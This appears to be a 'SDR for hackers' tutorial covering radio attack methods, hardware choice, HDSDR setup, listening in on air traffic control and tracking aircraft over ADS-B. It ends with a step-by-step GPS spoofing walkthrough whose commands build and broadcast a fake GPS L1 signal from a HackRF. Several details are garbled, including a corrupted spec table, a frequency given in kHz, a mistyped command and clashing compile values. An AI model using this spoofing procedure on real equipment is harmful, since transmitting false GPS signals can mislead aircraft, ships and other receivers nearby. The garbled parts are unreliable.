Many of these applications have little or no security. The cyber security professional need only access the transmission to view the data. In cases where there is security, it is often easily broken. In cases where the transmissions are relatively secure, transmissions can often be captured and replayed. In addition, encrypted communication can often be decrypted by capturing the transmission and deciphering the algorithm and passcode.



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This chapter starts with the basics of setting up an inexpensive radio receiver on our computers. The advantage of using a software-defined radio is;

- 1. Flexibility using multiple frequencies and signals
- 2. Using the computer to capture an analog signal and convert it to a digital signal prepares it for manipulation by digital tools such as decryption.

As we progress through this series and the associated course, we will expand into multiple frequencies and security protocols and their decryption. This will enable us to listen to and manipulate secure transmissions.

With the advent of <u>inexpensive radio devices such as the RTL-SDR</u>, <u>HackRF</u>, <u>LimeSDR</u>, and <u>bladeRF</u>, the possibility of hacking radio frequency (RF) communication and control devices has been blown wide open to anyone in the cybersecurity/infosec field. Although not commonly included in penetration tests, radio hacks should be considered as they are presently one of the most overlooked entry points to the network and systems.

Basic Radio Terminology

Amplitude	-	The strength of the radio signal
Frequency (Hz)	-	the number of cycles per second of radio waves usually measured in hertz
Sample Rate	-	the rate at which data is taken digitally over time measured in hertz (Hz)
Filter	- interfe interfe	cleans up received signals in order to limit unnecessary noise and rence. Also used to clean up transmitted signals to cause less radio rence

Digital Signal Processing- Signals processed via analysis, modification, and synthesis by a sequence of numbers that represent samples of a continuous variable in a domain such as time, space, or frequency

Radio Attack Methods

Unlike traditional web-based attacks, attackers try to intervene in the radio channel and then connect to the channel and exert control. Once that control is established, it can then be used to penetrate deeper within the network or system. For instance, SCADA/ICS systems often use radio communications to their remote terminal units (RTU) and other stations as physical wiring is impractical over hundreds of acres or miles (km). The attacker may first intercept and control the communication between remote terminals and then work back to the server or PLCs. In more traditional security systems, the attacker can use the interception of cellphone traffic to

eavesdrop on conversations and break text-based 2FA. Intercepting pager traffic with unencrypted emails can be used for phishing and other targeted attacks.

Sniffing

The simplest attack methodology, and often used first, is sniffing the traffic. This includes using an SDR device capable of operating at the same frequency as the signal you are attacking. In this way, the attacker can study and learn the principles of the radio system and identify key instructions in the data stream. Of course, if the data is unencrypted, the attacker can also eavesdrop on the traffic.

Replay

Many radio communications do not have a replay-proof mechanism (e.g., timestamps or randomization). In such cases, the attacker can capture and copy the transmission and then replay it to the target system. This may work on such systems as car doors, garage doors, household switches, and others.

Signal deception

Signal Hijacking and Denial of Service

The attacker may block the target's network using a signal interference device or pulls the target onto a fake network. In this way, they can carry out attacks by hijacking upstream and downstream traffic. This might include blocking a 4G cellular network to force the target onto a 3G or 2G network where the traffic can be intercepted and eavesdropped. Hijacking can also include such devices as a femtocell or Stingray.

SDR for Hackers Hardware Comparison

Before embarking upon the study of SDR for Hackers, it is a good idea to take a close look at the options available for hardware in this field. Of course, you will need a computer with a USB port, but there are numerous options available for the radio receiver/transceiver. Let's take a look at the specs and advantages and disadvantages of each of the most common hardware options for software-defined radio (SDR).

USRP

USRP is open-source hardware, firmware, and host code, making it an excellent choice for developers. USRP has multiple models with varying interfaces and sizes. The USRP X series uses a 10g Ethernet interface, the USRP N series uses iG Ethernet, the USRP B series uses USB

2.0 (old) interface and USB 3.0 (new), and the USRP E series has a built-in ARM processor and does not need a host computer.

The USRP B series is a favorite among developers as it uses USB 3.0 and the USRP B200mini is the size of a business card.



RTL-SDR

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The RTL-SDR is among the most popular among hobbyists. It is low-cost, very capable, and a good place to start in SDR for Hackers without making a major investment (less than \$40).

It is based on the DVB-T dongle that uses the RTL2832U chip. This dongle was originally used to watch TV on computers. The RTL-SDR supports many pieces of software based upon the library *librtlsdr*.

The RTL-SDR can be used to analyze signals and, in combination with the HDSDR software, can be used for a multitude of purposes.

The strength of the RTL-SDR is its low cost. The weakness of the RTL-SDR is that it is only a receiver and cannot transmit signals, such as in replay attacks.



HackRF

HackRF is a great choice for beginners looking for inexpensive SDR hardware that can both transmit and receive (transceiver). Many "SDR for Hackers" projects require transmitting, such as replay attacks.

HackRF is all open-source, including its schematic diagram, PCB diagram, driver code, and single-chip firmware. HackRF supports frequencies from 1MHz- 6Ghz. HackRF is only capable of transmitting and receiving at half-duplex, a major drawback for high-performance systems.



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BladeRF

BladeRF is high-performance hardware for the SDR for Hackers. Unlike HackRF, it is fullduplex, making it ideal for high-performance applications such as OpenBTS (OpenBTS is an open-source cellular base station). Its only drawback is its frequency range. The BladeRF is only capable of sending and receiving radio frequencies to 3.8 GHz.



LimeSDR

LimeSDR is an open-source, apps-enabled SDR platform. It can receive and transmit UMTS, LTE, GSM, LoRa, Bluetooth, Zigbee, RFID, Digital Broadcasting, and more.

One of the great strengths of LimeSDR is being apps enabled. LimeSDR is integrated into the <u>Snappy Ubuntu core</u>, and anyone capable of downloading and using an app can use the LimeSDR. This makes its capabilities available to a much wider audience. EE, the UK's largest mobile operator, is distributing LimeSDR to educational institutions for training and development. Apps available for the LimeSDR include;

- Radio astronomy
- RADAR
- 2G to 4G cellular base station
- Media streaming
- IoT gateway
- HAM radio
- Wireless keyboard and mice emulation and detection
- Tire pressure monitoring systems
- Aviation transponders
- Utility meters
- Drone command and control
- Test and measurement



Specification Comparison

	Ettus B200	RTL-SDR	HackRF One	Blade RF	LimeSDR
Freq Range	70mhz-6Ghz	22mhz-2.2Ghz	1Mhz-6Ghz	300Mhz-3.8Ghz	100khz-3.8Ghz
RF Bandwidth	61.44Mhz	3.2Mhz	20Mhz	40Mhz	61.44Mhz
Transmitter Channel	61	AnonGhost	letwork ¹	0	2
Receivers	1	1	1	1	2
Duplex	Full	N/A	Half	Full	Full
Interface	USB 3.0	USB 2.0	USB 2.0	USB 3.0	USB 3.0
Chipset	AD9364	RTL2832U	MAX5864	LMS6002M	LMS7002M
Open Source	Schematic and Firmware	No	Full	Schematic and Firmware	Full
Transmit Power	10dBm+	N/A	-10dBm+	6dBm	0-10dBm
Price	\$902	\$40	\$320	\$420-1600	\$349.95

These five hardware platforms offer a wide range of capabilities and prices for a hacker looking to get into SDR. We recommend RTL-SDR for those just starting out and on a limited budget. For those looking to hack radio signals, you will likely need a transceiver, and the HackRF One is an excellent platform at a reasonable price. Those needing high-performance and full duplex will likely want to spend a little extra and buy the BladeRF or LimeSDR. For those looking for a simple-to-use setup and application, LimeSDR might be your best choice.

In recent years, the ability to receive and send radio signals from your computer has become a reality! This has become to be known as Software Defined Radio (SDR). With this capability has come the ability to capture, decode, replay, and hack these signals with all the power of your PC. These signals range from the mundane such as AM/FM radio and TV broadcast signals to aircraft signals to low orbit satellite signals to police radio to car unlocking, and many other RF signals!

In this series, we will attempt to provide you with the basics of SDR so that you can use this knowledge in many of these different applications. Once you can receive and send radio signals into your PC, you can use the power of this system to decode, transmit, replay and otherwise "hack" these signals.

The basic concept of the Software Defined Radio is that radio can be totally configured or defined in software.

What is SDR

Software-Defined Radio (SDR) refers to the technology wherein software modules running on a generic hardware platform consisting of DSPs and general-purpose microprocessors are used to implement radio functions such as generation of the transmitted signal (modulation) at the transmitter and tuning/detection of received radio signal (demodulation) at receiver

The following diagram displays the basic elements of an SDR transceiver (send and receive).



Setting Up our First SDR

The first step to SDR hacking is to purchase the necessary hardware. There is a multitude of different SDR hardware packages available, but the RTL-SDR package is effective and inexpensive. You can purchase this hardware from <u>Amazon for less than \$35 here.</u>



This kit includes, most importantly, the RTL-SDR USB dongle as well as an antenna and the necessary cabling.

In addition, Nooelec makes a similar system with some additional capabilities for a little more (under \$50.

We will be using either of this hardware to start this journey into SDR Hacking. As we advance, you may want to invest in more advanced hardware that has more features most important of these is the capability to both send and receive signals. For now, these inexpensive systems will get you started and suffice, and when you are ready to advance, you will likely need to invest another \$100-300 for this hardware.

The Software

Multiple software packages are now available for SDR and new Python features in version 3.7 (async and await specifically). These software packages are available in both Windows and Linux platforms. Among the most popular are SDR# and HDSDR. Both are high-quality and free software

To start, we will be using <u>HDSDR for Windows</u>, <u>available free here</u> (unfortunately, this software is not available for Mac or Linux but can be run from a wine).

HOSOR [default]	v2.80 Soundcent	IMME)@1963 SRate	48000 > 12000 OS 1	10.18363 I CPU HA	el Cere i7-4770 @	3.40GHz RAM: 32658MB								- 0	×
05 2947	9 2040	2 20405	25453	29491	20404	25497	281000	20503	20506 2	1909	28512	20515	28518	20121	
V 00 15															
50															
-350							_								
-125															
Peak 120 140	AM ECSS	FM LSB USB	CW DIG Fre	eMer -	_	Waterfal	1.	Spectru	n () ROW	23.4 Hz 2	∼ <mark>Λvg</mark> •=	20	u -	Speed	
6	LOA	28.500	.000 📖	~											
6		28.500													
1 ¹³ South	Tune Volume	20.300		×.											
-139.0 dbm	AGC Thresh.			-											
SOB Device [F8]		I I (())	00												
Soundcard [FS]				v as	\$00	1000 150	2000	2500	3000	3500	000	4500	\$000	\$500	
Bandwidth [F6]				-25											
Options [F7] Full Screen [F11]			иc	-50 -75											
Start [12]	Mute MK	Med Notch AN		-100											
Minimize (13)	10/4/2020	0 11:17:05 AM		-125											
Dait [F4]	12/4/2020	CEO HDSDR:		-150		Waterfal		Gaarta	m • • RBW	59 Hz 1	× Avg •=			Sec. 1	
for had		CPO Total:	124					Spectru	RBW	5.9 m2 1	- AND	10	01	 opeced 	

Software Installation

To install HDSDR, you will need to follow the following steps.

First, download the latest Zadig from http://zadig.akeo.ie/

Start Zadig and press "Install Driver" to install the WinUSB drivers after selecting the right device(s). The device name is often "Bulk-In, Interface (Interface 0)".

evice (Options <u>H</u> elp			
Bulk-In,	Interface (Interface 0)			▼ Edit
Driver	(NONE)	⇒	WinUSB (v6.1.7600.16385)	More Information WinUSB (libusbx)
USB ID	0BDA 2838 00			libusb-win32
	×		Install Driver	libusbK WinUSB (Microsoft)

If there is only an empty list, the device is not correctly connected, or a driver is already installed. Click Options and enable "List All Devices," then choose the RTL device and press "Replace Driver."

Close Zadig.

If you don't already have HDSDR, download and install HDSDR now http://hdsdr.de/download/HDSDR_install.exe, but don't start it.

Download ExtIO_RTL2832.DLL from http://hdsdr.de/download/ExtIO/ExtIO_RTL2832.dll

Opening ExtIO_RTL2832.dll	\times
You have chosen to open:	
ExtIO_RTL2832.dll	
which is: dll File (254 KB)	
from: http://hdsdr.de	
What should Firefox do with this file?	
O Open with Browse	
Do this automatically for files like this from now on.	
OK Cancel	

Copy ExtIO_RTL2832.DLL into your HDSDR installation directory (default=C:\Program Files (x86)\HDSDR)

→ * ↑		✓ Ö	R	
This PC	Name	Date modified	Туре	Size
3D Objects	delete_settings	12/21/2010 11:55 PM	Windows Comma	1 KB
Desktop	🗟 ExtIO_RTL2832.dll <	12/17/2020 3:05 PM	Application exten	254 KB
Documents	HDSDR	3/19/2020 1:31 PM	Application	7,687 KB
Downloads	🗐 hdsdr_eula	6/21/2011 11:33 AM	Rich Text Format	34 KB
	💽 hdsdr_keyboard_shortcuts	8/1/2018 12:57 AM	Microsoft Edge H	32 KB
Music	HDSDR_release_notes	3/19/2020 2:28 PM	Text Document	15 KB
Pictures	unins000.dat	12/1/2020 2:22 PM	DAT File	3 KB
🚪 Videos	🕞 unins000	12/1/2020 2:22 PM	Application	699 KB
🛀 OS (C:)				
OVD RW Drive (C)				
USB30FD (E:)				

(re)start HDSDR (select ExtIO_RTL2832.DLL and preferred output sound card if demanded)

Sound Card selection	\times
Using HDSDR without audio output Microsoft Soundmapper	
0: Speakers (Logitech USB Headset 1: Speakers (4- Realtek High Defin	
OK]

You are ready to run HDSDR!

Setting Up Our first SDR

Now that we have set up the HDSDR software and the RTL-SDR hardware to work together to create our software-defined radio. Now that we have those elements functioning let's use our radio initially for some simple, basic radio signal capture, such as your local FM radio station.

Sampling

The first step is to set up our sampling rate. Radio signals are continuous and analog. To use them, we need to take discrete samples of this continuous process. In order words, we need to capture pieces of the analog signal at a fixed time interval and feed that to our system.

As you can see in the diagram below, the continuous wave of audio is broken into a sample at a fixed time interval.



These samples can then be used to retrieve the original signal by sending them through a reconstruction filter.

Let's click on the bandwidth button in HDSDR, as seen below.



This opens a window to set the sampling rate. We can set both the input sampling rate and the output sampling rate. You can set the sampling rate at the level of your choice, but most audio engineers believe that the human ear cannot distinguish differences in sampling rates above 48khz (48000). Since we will be sampling FM radio, a sampling rate above 48khz will not make a distinguishable difference to the quality of the signal.



Set the Tuner

To listen to your local FM radio, click on the FM mode icon near the top of the panel.

RMS +40	AM E	CSS FM	LSB	USB CW	DIG FreqMgr
57 2	LO A	9	0.0	90.9	99 FM
-J S-units -1 Squeich			0.1	00.9	25 kHz 🗸
S9 +69 dB	Volume				
SDR-Device [F8]		· II I	••	>> 00	
Soundcard [F5]					
Bandwidth [F6]				F	M-BW: 96000
Options [F7]	NR	NB RF	NB IF	AFC	RF+0
Full Screen [F11]	Mute	AGC Off	Notch	ANotch	
Stop [F2]					
Minimize [F3]	12/17/	2020 4	:09:49	PM	
Exit [F4]	_		CPU HD	SDR: 3%	

Now, go down to the Tune section (see above) and set the tuner to the frequency of your favorite local radio station. You can also use the slider to adjust the frequency of your captured signal. For the best reception, place the frequency slider in line with the peak here.



Once you have done so, you should now be able to hear your radio through your speakers. To adjust the volume, you can use the volume slider, as seen below.



Congratulations! You have just built your first software-defined radio! Enjoy your local FM radio station and experiment with the various buttons and sliders in HDSDR and watch what happens.

Software Defined Radio is the leading edge of cybersecurity research. Now that we have completed our first software-defined radio look for future tutorials as we look to capture satellite signals, aircraft signals, and so many more! As we develop our skills, we will advance to transmitting, replaying, and decoding signals from a multitude of sources.

Intercepting Aircraft Communication

In this section, we will be using our software-defined radio to intercept aircraft communication. Aircraft communication uses AM radio signals or amplitude modulation because they can extend over long distances. Just like AM radio, you can listen to some AM radio signals over hundreds of miles under the right conditions. As aircraft are sometimes many miles or kilometers from the airport, AM signals are ideal for this type of communication.

Note that this is aircraft communication and not aircraft geographic information. We will cover that in another upcoming tutorial covering ADS-B information that includes both information about the aircraft, and its geographic position.



Analog Aircraft Communication

The ITU assigns all frequencies in the radio spectrum. The ITU has assigned aircraft analog voice dialogue in the High Frequency (HF) band between 3-30MHz and in the Very High Frequency (VHF) band at 118-137 Mhz. High-Frequency communication is capable of intercontinental communication as the signals bounce off the ionosphere.



High-frequency (HF) signals are used for various communications, including amateur radio, maritime mobile, military and governmental communication, shortwave broadcasting, and many others.



In this tutorial, we will be focusing on the latter range (VHF) as the audio quality is significantly better. The High-Frequency band has much lower audio quality while having a more extended range, whereas the VHF signals are only line-of-sight but have much higher audio quality.

Open HDSDR Software

The first step is to open HDSDR. Next, set the Mode to "AM" and Frequency Manager to "Air." Check out the arrows in the screenshot below.



To obtain the best audio quality, your sampling rate must be 2x the maximum frequency of the human voice. The human voice ranges from 2hz to 20Khz, so your sampling rate should be set to 2x 20khz or greater.


Find the Analog Communication Frequency of the Local Airport

Next, search on Google for your local airport. When you open their website, you should find the frequency of the aircraft and the control tower communication. The listing below is for the Farmington, New Mexico, airport.

Airport Communications CTAF: 118.9 UNICOM: 122.95 ATIS: 127.15 WX ASOS: 127.15 (505-325-9268) FARMINGTON GROUND: 121.7 [0600-2200] FARMINGTON TOWER: 118.9 257.8 [0600-2200] EMERG: 121.5 243.0 • APCH/DEP CTL SVC PRVDD BY DENVER ARTCC (ZDV) ON FREQS 118.575/348.7 (FARMINGTON RCAG).

Note that Farmington Ground communicates at 121.7 kHz, and Farmington Tower communicates at 118.9. To listen to their communications, navigate to either of those frequencies in the HDSDR by sliding the vertical bar to those frequencies. When you see a red spike, this indicates activity at that frequency. Move the red vertical bar to that location to listen in.



Sample Recording of Air Traffic Controller Intercept

You should be able to hear similar conversations from your local airport as well. If you are near a large international airport, you will likely hear a constant stream of communication from controllers and pilots as they navigate their way to and around the airport.

Software-defined radio is the leading edge of information security! While using a simple and inexpensive receiver and antenna, we can intercept and listen to a variety of signals, including encrypted communication (coming soon). In this tutorial, we were able to intercept communication from our local airport and listen in as the air traffic controllers guided the pilots.

Air Traffic Position and Speed Monitoring

Nearly every vehicle in the world gives off a radio signal of one type or another. This applies to cars, planes, ships, and nearly everything else. These radio signals can be used to track the location of these vehicles with a simple device such as the RTL-SDR.

Airplanes give off an ADS-B signal that can be used to track their location and altitude. Websites such as Radarbox and others sell a simple ADS-B receiver to people all over the world, and then it feeds data to their websites. You can do the same for your locality with a simple and versatile RTL-SDR.



According to the Federal Aviation Administration (FAA), the leading federal agency for aircraft safety and administration, ADS-B is:

ADS-B Out works by broadcasting information about an aircraft's GPS location, altitude, ground speed, and other data to ground stations and other aircraft once per second. ADS-B Out airspace and equipment requirements are contained in 14 CFR § 91.225, and the equipment performance requirements are contained in §91.227. ADS-B In provides operators of properly equipped aircraft with weather and traffic position information delivered directly to the cockpit.

All of this data is ours! You only need the RTL-SDR and the free software to decode this signal.

Software Downloads

Make certain first that your RTL-SDR is connected to your system. Then you need to download the software at the following link.

kali>sudo git clone https://github.com/antirez/dump1090

Or you can do as I did and download DragonOS, a Linux operation system designed specifically for SDR for Hackers. It is available here.

https://sourceforge.net/projects/dragonos-focal/



This operating system is great! It is designed specifically for SDR, with most of the great applications and all their dependencies. I like this OS so much I will be using it for all my SDR projects, tutorials, and courses.

Run dump1090

Now with DragonOS or the dump1090 software installed on another Linux machine, navigate to the dump1090 directory.

kali > cd dump1090

Now, simply enter the command;

dragon>./dump190

```
otw@otw-virtual-machine: ~/dump1090
                                                      \otimes
                   : 37000 feet
  Altitude
  ICAO Address
                   : a20471
8da0a7d6990987a1080438b87558;
CRC: b87558 (ok)
Single bit error fixed, bit 45
DF 17: ADS-B message.
  Capability
                   : 5 (Level 2+3+4 (DF0,4,5,11,20,21,24,code7 - is on airborne))
  ICAO Address
                   : a0a7d6
 Extended Squitter Type: 19
Extended Squitter Sub : 1
 Extended Squitter Name: Airborne Velocity
EW direction : 0
    EW velocity
                        : 391
    NS direction
    NS velocity
                        : 264
    Vertical rate src : 0
    Vertical rate sign: 1
    Vertical rate
                        : 1
8da0a7d6e1181e0000000007a06e;
CRC: 07a06e (ok)
DF 17: ADS-B message.
  Capability
                 : 5 (Level 2+3+4 (DF0,4,5,11,20,21,24,code7 - is on airborne))
  ICAO Address
                 : a0a7d6
  Extended Squitter Type: 28
```

As you can see above, your RTL-SDR receiver and dump1090 software are providing you with all the ADS-B data available in your area, including GPS coordinates, altitude, and ground speed.

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If we are looking for just the raw data without formatting, we can simply use the --raw switch.

dragon> ./dump1090 --raw



For a more interesting view of the data, we can use the **--interactive** switch like the one below. Here dump1090 provides us with an interactive table of the flights in the area updated each second.

dragon> ./dump1090 --interactive

a487ef EJA391 10125 306 41.157 -111.967 171 39 0 sec adab31 AAL2944 36000 452 41.265 -111.933 305 88 4 sec a28bc9 SKW3586 20825 380 41.245 -111.902 45 69 1 sec		Lon	200	speed	Altitude	rigni	Hex
adab31 AAL2944 36000 452 41.265 -111.933 305 88 4 sec	7 474 20 0	444 067	44 457	200	40405		- 407-6
a28bc9 SKW3586 20825 380 41.245 -111.902 45 69 1 sec							
	92 45 69 1 sec	-111.902	41.245	380	20825	SKW3586	azapca

Maybe the most graphically appealing view of the data sets is similar to radarbox, this data overlaid on Google maps. In this way, we can actually watch the flights in real-time on a map of our area.

To watch the graphical data on a map, simply enter the following;

./dump1090 --interactive --net

Then open your browser and navigate to localhost:8080

This should open an interactive map showing all the aircraft in your area (your map may appear slightly different)



Every airplane sends out an ADS-B signal that can be used to track the position and altitude of the flight. With some free software such as 1090dump and an inexpensive receiver such as the RTL-SDR, we can follow all the flights within our receiving range (this depends upon many factors, including your antenna).

This is just one more example of the power and importance of SDR for Hackers!

Spoofing your Global Position (GPS) to Hide Your Location

As you already know, it IS possible to spoof both your IP address and MAC address, but can you spoof my global position (GPS)? The answer, of course, is YES! This is one of the beauties of becoming conversant and skilled in Software Defined Radio (SDR).

There are a number of reasons you may not want your global position <u>known. As</u> most of you know, I have been active in assisting Ukraine to repel the brutal aggression of its neighbor and former colonial master, Russia. I think it goes without saying that Russia is the aggressor and needs to be reminded that invading and killing your neighbors is wrong. In this war, global positions are critical to finding and destroying the opposing side. In addition, early in the war, we used GPS to geo-locate the yachts of the Russian oligarchs and had them seized by NATO nations. Soon after that, the remaining yachts began to spoof their global position to evade our detection.

What if the troops on the ground could send out a spoofed GPS signal to hide their location from artillery and rockets? Most importantly, warships and aircraft send out a GPS signal that can be tracked by missiles and other weapons. Wouldn't they gain stealth by sending out spoofed positions? These are just a few real-life examples of the value of spoofing a GPS signal.

In this tutorial, we will demonstrate how to spoof your GPS position using SDR and the inexpensive HackRF One.

Install HackRF One

The first step is to purchase and install a HackRF One. The less expensive SDR receivers such as SDR-RTL are exclusively receivers and are incapable of transmitting signal.



For more on setting up your HackRF One, see this article. (https://www.hackersarise.com/post/software-defined-radio-sdr-for-hackers-setting-up-your-hackrf-one)

```
kali@kali:~/hackrf-2021.03.1/firmware-bin$ hackrf_spiflash -w hackrf_one_usb.bin
File size 35444 bytes.
Erasing SPI flash.
Writing 35444 bytes at 0×000000.
```

```
kali@kali:~$ sudo hackrf_info
hackrf_info version: unknown
libhackrf version: unknown (0.6)
Found HackRF
Index: 0
Serial number: 0000000000000000077c60dc2ba968c3
Board ID Number: 2 (HackRF One)
Firmware Version: 2021.03.1 (API:1.04)
Part ID Number: 0×a000cb3c 0×00614f66
kali@kali:~$
```

Install GPS Spoof

Next, create a directory named GPS_SPOOF...

kali > mkdir GPS_SPOOF

....and then navigate to the new directory.

kali > cd GPS_SPOOF

Then, download the gps spoof software from github.com

kali > sudo git clone https://github.com/osqzss/gps-sdr-sim.git

```
(kali@ kali)-[~]
$ mkdir GPS_SPOOF
(kali@ kali)-[~]
$ cd GPS_SPOOF
(kali@ kali)-[~/GPS_SPOOF]
$ sudo git clone https://github.com/osqzss/gps-sdr-sim.git
[sudo] password for kali:
Cloning into 'gps-sdr-sim'...
remote: Enumerating objects: 627, done.
remote: Counting objects: 100% (19/19), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 627 (delta 8), reused 11 (delta 3), pack-reused 608
Receiving objects: 100% (627/627), 4.60 MiB | 1.28 MiB/s, done.
Resolving deltas: 100% (338/338), done.
```

Now, navigate to the new directory it created

kali > cd gps-sdr-sim

```
-(kaliskali)-[~/GPS_SPOOF]
s cd gps-sdr-sim
  -(kali@kali)-[~/GPS_SPOOF/gps-sdr-sim]
_$`ls -l
total 1452
-rw-r--r-- 1 root root
                              150 Aug 10 15:32 bladerf.script
-rw-r--r-- 1 root root 270728 Aug 10 15:32 brdc0010.22n
-rw-r--r-- 1 root root 135000 Aug 10 15:32 circle.csv
-rw-r--r-- 1 root root 144000 Aug 10 15:32 circle_llh.csv
drwxr-xr-x 2 root root 4096 Aug 10 15:32 extclk
-rw-r--r-- 1 root root 4241 Aug 10 15:32 getopt.c
-rw-r--r-- 1 root root 148 Aug 10 15:32 getopt.h
-rwxr-xr-x 1 root root 4147 Aug 10 15:32 gps-sdr-sim-uhd.pv
-rw-r--r-- 1 root root 60367 Aug 10 15:32 gpssim.c
-rw-r--r-- 1 root root 5196 Aug 10 15:32 gpssim.h
-rw-r--r-- 1 root root 1082 Aug 10 15:32 LICENSE
-rw-r--r-- 1 root root 1019 Aug 10 15:32 Makefile
drwxr-xr-x 3 root root 4096 Aug 10 15:32 player
-rw-r--r-- 1 root root 5980 Aug 10 15:32 README.md
-rw-r--r-- 1 root root 175545 Aug 10 15:32 rocket.csv
drwxr-xr-x 3 root root 4096 Aug 10 15:32 rtk
-rw-r--r-- 1 root root 156052 Aug 10 15:32 satellite.csv
drwxr-xr-x 2 root root 4096 Aug 10 15:32 satertite.csv
drwxr-xr-x 2 root root 131124 Aug 10 15:32 satgen
-rw-r--r-- 1 root root 131124 Aug 10 15:32 triumphv3.txt
-rw-r--r-- 1 root root 244482 Aug 10 15:32 ublox.jpg
-rw-r--r-- 1 root root 85182 Aug 10 15:32 u-center.png
```

We need to compile the gpssim.c to a file named gps-sdr-sim, and in order to be able to use motion files, we need to compile it with -DUSER_MOTION_SIZE=400 (this enables the GPS spoof to appear to be moving rather than remaining static which would likely signal to a receiver that it was false signal).

kali> sudo gcc gpssim.c -lm -O3 -o gps-sdr-sim -DUSER_MOTION_SIZE=4000

Where:

gcc is the GNU C compiler

gpssim.c is the C file that we need to compile

-lm is a link to the math.c library

-O3 optimizes the compilation to higher level

-o places the output into a file named gps-sdr-sim

Locate the Satellite

The next step is to locate the GPS satellite. This is done through the use of the GPS broadcast ephemeris file. The archive of the daily file can be downloaded here (you must register).

https://cddis.nasa.gov/archive/gnss/data/daily/

These files are then used to generate a simulated pseudo-range and Doppler for the satellites in your range. This data is then used to create simulated range data to generate digitized I/Q samples for the GPS signal. Make certain you download the most recent daily file.

https://cddis.nasa.gov/archive/gnss/data/daily/2022/brdc/

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Next, select a location you want to spoof. In my case, I want to appear to be in Moscow, specifically the Kremlin. You can go to Google maps to get the GPS coordinates.





(kali@kali)-[~/GPS_SPOOF] \$ cd gps-sdr-sim View Help								
(kali⊛k	cal	li)-[•	-/GPS	_SPOOF/	gps-s	sdr-	-sim]	
total 1452								
-rw-rr	1	root	root	150	Aug	10	15:32	bladerf.script
-rw-rr	1	root	root	270728	Aug	10	15:32	brdc0010.22n
-rw-rr	1	root	root	135000	Aug	10	15:32	circle.csv
-rw-rr	1	root	root	144000	Aug	10	15:32	circle_llh.csv
drwxr-xr-x	2	root	root	4096	Aug	10	15:32	extclk
-rw-rr	1	root	root	4241	Aug	10	15:32	getopt.c
-rw-rr	1	root	root	148	Aug	10	15:32	getopt.h
-rwxr-xr-x	1	root	root	4147	Aug	10	15:32	gps-sdr-sim-uhd.py
-rw-rr								gpssim.c
-rw-rr	1	root	root	5196	Aug	10	15:32	gpssim.h
-rw-rr	1	root	root	1082	Aug	10	15:32	LICENSE
-rw-rr								
drwxr-xr-x								
-rw-rr					_			
								rocket.csv
drwxr-xr-x					_			
					_			satellite.csv
drwxr-xr-x					_			
								triumphv3.txt
-rw-rr					_			
-rw-rr	1	root	root	85182	Aug	10	15:32	u-center.png

Now, to start your GPS spoof, simply enter the following command with the ephemeris file and the GPS coordinates such as;

kali > sudo ./gps-sdr-sim -b 8 -e brdc0010.22n -l 55.75911686948662, 37.616404140886715, 100

<pre>(kali@kali)-[~/GPS_SPOOF/gps-sdr-sim]</pre>
Using static location mode.
Start time = 2022/01/01,00:00:00 (2190:518400)
Duration = 400.0 [sec]
01 248.8 14.2 24023435.0 3.7
07 276.1 8.3 24771534.5 4.2
08 265.5 76.6 20351430.6 1.5
10 89.2 55.2 21258707.6 1.8
14 328.3 6.7 25088517.1 4.4
15 16.6 5.9 24861041.4 4.4
16 179.5 19.4 24007665.6 3.3
21 250.9 44.0 21861967.6 2.1
23 51.6 31.6 22656343.1 2.6
27 133.2 63.8 20708228.0 1.6
30 302.6 12.1 24453250.1 3.9
32 125.3 3.9 25447507.2 4.7
Time into run = 400.0
Done!
Process time = 350.4 [sec]

This creates a simulation file named gpssim.bin

<mark>(kali⊛</mark> ka \$ ls -l	a٦	l i)-[•	-/GPS	_SPOOF/gps-s	sdr-s	sim]	kati@kati: ~
total 203220	61	Edit						
-rw-rr			root	150	Διισ	10	15:32	bladerf.script
-rw-rr								brdc0010.22n
-rw-rr								circle.csv
-rw-rr					_			circle_llh.csv
drwxr-xr-x								extclk
-rw-rr								getopt.c
-rw-rr								getopt.h
-rwxr-xr-x					_			gps-sdr-sim
								gps-sdr-sim gps-sdr-sim-uhd.py
-rwxr-xr-x								
-rw-rr								
-rw-rr								gpssim.c
-rw-rr								gpssim.h
-rw-rr								LICENSE
-rw-rr								Makefile
drwxr-xr-x								player
-rw-rr	1	root	root					README.md
-rw-rr	1	root	root					rocket.csv
drwxr-xr-x	3	root	root	4096	Aug	10	15:32	rtk
-rw-rr	1	root	root	156052	Aug	10	15:32	satellite.csv
drwxr-xr-x	2	root	root	4096	Aug	10	15:32	satgen
-rw-r r	1	root	root	131124	Aug	10	15:32	triumphv3.txt
-rw-r r	1	root	root	244482	Aug	10	15:32	ublox.jpg
-rw-r :	1	root	root	85182	Aug	10	15:32	u-center.png

Now, to send out a spoofed GPS signal that simulates my position in the Kremlin, I can simply enter;

```
kali > sudo hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0
```

<pre>[walis kali)-[~/GPS_SPOOF/gps-sdr-sim]</pre>
└─\$ <u>sudo</u> hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0
call hackrf_set_sample_rate(2600000 Hz/2.600 MHz)
call hackrf_set_hw_sync_mode(0)
call hackrf_set_freq(1575420000 Hz/1575.420 MHz)
call hackrf_set_amp_enable(1)
Stop with Ctrl-C
5.0 MiB / 1.000 sec = 5.0 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.001 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.001 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.000 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.000 sec = 5.2 MiB/second, amplitude -inf dBfs
5.0 MiB / 1.000 sec = 5.0 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.000 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.001 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.000 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.000 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.000 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.001 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.001 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.001 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.001 sec = 5.2 MiB/second, amplitude -inf dBfs
5.2 MiB / 1.000 sec = 5.2 MiB/second, amplitude -inf dBfs
